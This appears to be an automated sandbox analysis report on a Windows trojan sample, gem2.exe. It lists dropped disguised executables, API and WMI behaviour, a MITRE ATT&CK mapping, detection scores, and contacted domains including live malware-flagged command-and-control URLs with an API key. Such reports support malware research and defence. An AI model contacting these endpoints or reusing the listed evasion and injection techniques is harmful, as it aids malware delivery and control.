Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: GetLocaleInfoW,	17_2_00007FF7D168FF14
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	17_2_00007FF7D1690048

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Code function: 9_2_000001F5A9687E60 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

9_2_000001F5A9687E60

Source: C:\Windows\System32\System-f4855f59e0.exe

Code function: 14_2_00007FF6A54FAE28 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

14_2_00007FF6A54FAE28

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\SysWOW64\explorer.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019B3F0 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	16_2_00000173D019B3F0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D0157410 memset,WSAGetLastError,strchr,inet_pton,htons,strtoul,inet_pton,htons,WSAGetLastError,htons,htons,bind,htons,bind,WSAGetLastError,	16_2_00000173D0157410
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A1EA6 calloc,calloc,calloc,bind,WSAGetLastError,	16_2_00000173D01A1EA6
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D016EFC0 strchr,strchr,inet_pton,strchr,strtoul,strchr,strtoul,memmove,getsockname,WSAGetLastError,inet_ntop,WSAGetLastError,memmove,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	16_2_00000173D016EFC0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D01A2130 calloc,calloc,calloc,bind,WSAGetLastError,	16_2_00000173D01A2130

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	2 Credential API Hooking	2 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	11 Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	2 Credential API Hooking	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	722 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	1 Services File Permissions Weakness	11 Scheduled Task/Job	1 Software Packing	NTDS	154 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	1 File Deletion	Cached Domain Credentials	451 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	122 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	241 Virtualization/Sandbox Evasion	Network Sniffing	2 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	722 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Services File Permissions Weakness	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gem2.exe	53%	ReversingLabs	Win64.Trojan.Generic
gem2.exe	62%	Virustotal		Browse
gem2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	100%	Joe Sandbox ML
C:\Windows\System32\System-f4855f59e0.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	53%	ReversingLabs	Win32.Exploit.Generic
C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	53%	ReversingLabs	Win32.Exploit.Generic
C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	53%	ReversingLabs	Win32.Exploit.Generic
C:\Windows\System32\System-f4855f59e0.exe	53%	ReversingLabs	Win32.Exploit.Generic

Source	Detection	Scanner	Label
https://wildlify.com/	0%	Avira URL Cloud	safe
https://galaxyglimmer.top/F	0%	Avira URL Cloud	safe
https://burningspice.cfd/Tx	0%	Avira URL Cloud	safe
https://wavepassage.cfd/https://pastesnap.com/https://textbinvault.com/NegoExtender	0%	Avira URL Cloud	safe
https://flixmi.top/=C;LC_TIMEUkk	0%	Avira URL Cloud	safe
https://bluebullet.su/	0%	Avira URL Cloud	safe
https://FeelGoodForever.org.ru/IC=C	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpur32.dllP	100%	Avira URL Cloud	malware
https://flixmi.top/	0%	Avira URL Cloud	safe
https://inforte.top/	0%	Avira URL Cloud	safe
http://osoft.co_2010-06X	0%	Avira URL Cloud	safe
https://tiffanyonlinestore.top/	0%	Avira URL Cloud	safe
https://wildlify.com/Java	0%	Avira URL Cloud	safe
https://securetextweb.cc/BAT;.CM	0%	Avira URL Cloud	safe
https://SuccessFromWithin.ru/	0%	Avira URL Cloud	safe
https://deepseahunter.com.de/	0%	Avira URL Cloud	safe
https://coolcarforum.com/Ix	0%	Avira URL Cloud	safe
https://deepseahunter.com.de/5	0%	Avira URL Cloud	safe
https://LearnToCodeWithUs.su/	0%	Avira URL Cloud	safe
https://flixmi.top/xx	0%	Avira URL Cloud	safe
https://creativecoder.top/s	0%	Avira URL Cloud	safe
https://RusTechHub.ru/ath=C:	0%	Avira URL Cloud	safe
https://brettdogecoin.com/t	0%	Avira URL Cloud	safe
https://spokoystvieidusha.ru/	0%	Avira URL Cloud	safe
https://indexinferno.top/	0%	Avira URL Cloud	safe
https://projectretrac.com/P_PROF	0%	Avira URL Cloud	safe
https://spokoystvieidusha.ru/E;.WS	0%	Avira URL Cloud	safe
https://creativecoder.top/	0%	Avira URL Cloud	safe
https://wavepassage.cfd/Bkz	0%	Avira URL Cloud	safe
https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	100%	Avira URL Cloud	malware
https://textbinvault.com/	0%	Avira URL Cloud	safe
https://brettdogecoin.com/	0%	Avira URL Cloud	safe
https://pastesnap.com/(W	100%	Avira URL Cloud	malware
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpPKU2U	100%	Avira URL Cloud	malware
https://SuccessFromWithin.ru/Hkp	0%	Avira URL Cloud	safe
https://wavepassage.cfd/	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpapi_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	100%	Avira URL Cloud	malware
https://adorebeautyz.top/SSOR_AR	0%	Avira URL Cloud	safe
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt/	100%	Avira URL Cloud	malware
https://burningspice.cfd/	0%	Avira URL Cloud	safe
https://api.ipify.orgwmic	0%	Avira URL Cloud	safe
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt5	100%	Avira URL Cloud	malware
https://LearnToCodeWithUs.su/n	0%	Avira URL Cloud	safe
https://adorebeautyz.top/h	0%	Avira URL Cloud	safe
https://TechVenturesFromRussia.su/G	0%	Avira URL Cloud	safe
https://tiffanyonlinestore.top/a	0%	Avira URL Cloud	safe
https://syncaicloud.com/	0%	Avira URL Cloud	safe
https://tiffanyonlinestore.top/H	0%	Avira URL Cloud	safe
https://FeelGoodForever.org.ru/Fx	0%	Avira URL Cloud	safe
https://pastesnap.com/STB/cGFzdGVzbmFwR.txt	100%	Avira URL Cloud	malware
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpYg==M.txtsage.cfdapi_key=ut1bkd3rwa55zy8mt1hc&id=21&sett	100%	Avira URL Cloud	malware
https://LearnToCodeWithUs.su/PDATA	0%	Avira URL Cloud	safe
https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt	0%	Avira URL Cloud	safe
https://namesell.sbs/t	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwEP.php	100%	Avira URL Cloud	malware
https://RussianTechInnovationHub.ru/	0%	Avira URL Cloud	safe
https://leadingworld.top/PE=C;LCC	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu4c	100%	Avira URL Cloud	malware
https://api.ipify.orgC:	0%	Avira URL Cloud	safe
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt	100%	Avira URL Cloud	malware
https://burningspice.cfd/m	0%	Avira URL Cloud	safe
https://bluebullet.su/g	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60	100%	Avira URL Cloud	malware
https://creativecoder.top/=	0%	Avira URL Cloud	safe
https://pastesnap.com/0xY	100%	Avira URL Cloud	malware
https://jobscontext.top/	0%	Avira URL Cloud	safe
https://securetextweb.cc/	0%	Avira URL Cloud	safe
https://lunarminer.network/	0%	Avira URL Cloud	safe
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpueb	100%	Avira URL Cloud	malware
https://FeelGoodForever.org.ru/NkN	0%	Avira URL Cloud	safe
https://RusTechHub.ru/	0%	Avira URL Cloud	safe
https://gamergategames.top/ux	0%	Avira URL Cloud	safe
https://RusTechHub.ru/0	0%	Avira URL Cloud	safe
https://leadingworld.top/	0%	Avira URL Cloud	safe
https://syncaicloud.com/ndows	0%	Avira URL Cloud	safe
https://pastesnap.com/Kh	100%	Avira URL Cloud	malware
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60https://pastesnap.com/API/cGFzdGVzbmF	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pastesnap.com	172.67.198.113	true	false	unknown
securetextweb.cc	104.21.64.1	true	false	unknown
wavepassage.cfd	188.114.97.3	true	false	unknown
www.google.com	142.250.181.228	true	false	high
api.ipify.org	104.26.12.205	true	false	high
textbinvault.com	172.67.176.186	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastesnap.com/STB/cGFzdGVzbmFwR.txt	false	Avira URL Cloud: malware	unknown
https://pastesnap.com/STB/cGFzdGVzbmFwM.txt	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://burningspice.cfd/Tx	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wildlify.com/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://inforte.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://wavepassage.cfd/https://pastesnap.com/https://textbinvault.com/NegoExtender	svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://flixmi.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://galaxyglimmer.top/F	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwEP.phpur32.dllP	svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bluebullet.su/	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://flixmi.top/=C;LC_TIMEUkk	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.ibb.co/R2mnW0B/ico.png	svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	false		high
https://FeelGoodForever.org.ru/IC=C	WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wildlify.com/Java	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://osoft.co_2010-06X	dwm.exe, 0000003D.00000002.2572338533.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000003D.00000000.1542652207.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiffanyonlinestore.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://securetextweb.cc/BAT;.CM	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://coolcarforum.com/Ix	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://flixmi.top/xx	System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.openssl.org/	svchost.exe	false		high
https://deepseahunter.com.de/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://deepseahunter.com.de/5	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E1C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://SuccessFromWithin.ru/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://LearnToCodeWithUs.su/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	svchost.exe, svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp	false		high
https://creativecoder.top/s	Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html#	svchost.exe	false		high
https://RusTechHub.ru/ath=C:	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/	svchost.exe	false		high
https://brettdogecoin.com/t	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spokoystvieidusha.ru/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://indexinferno.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html#	svchost.exe	false		high
https://creativecoder.top/	gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://spokoystvieidusha.ru/E;.WS	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	false		high
https://projectretrac.com/P_PROF	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wavepassage.cfd/Bkz	Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt	svchost.exe, 00000010.00000002.2555613530.00000173CFB71000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu	svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553736925.00000173CE000000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
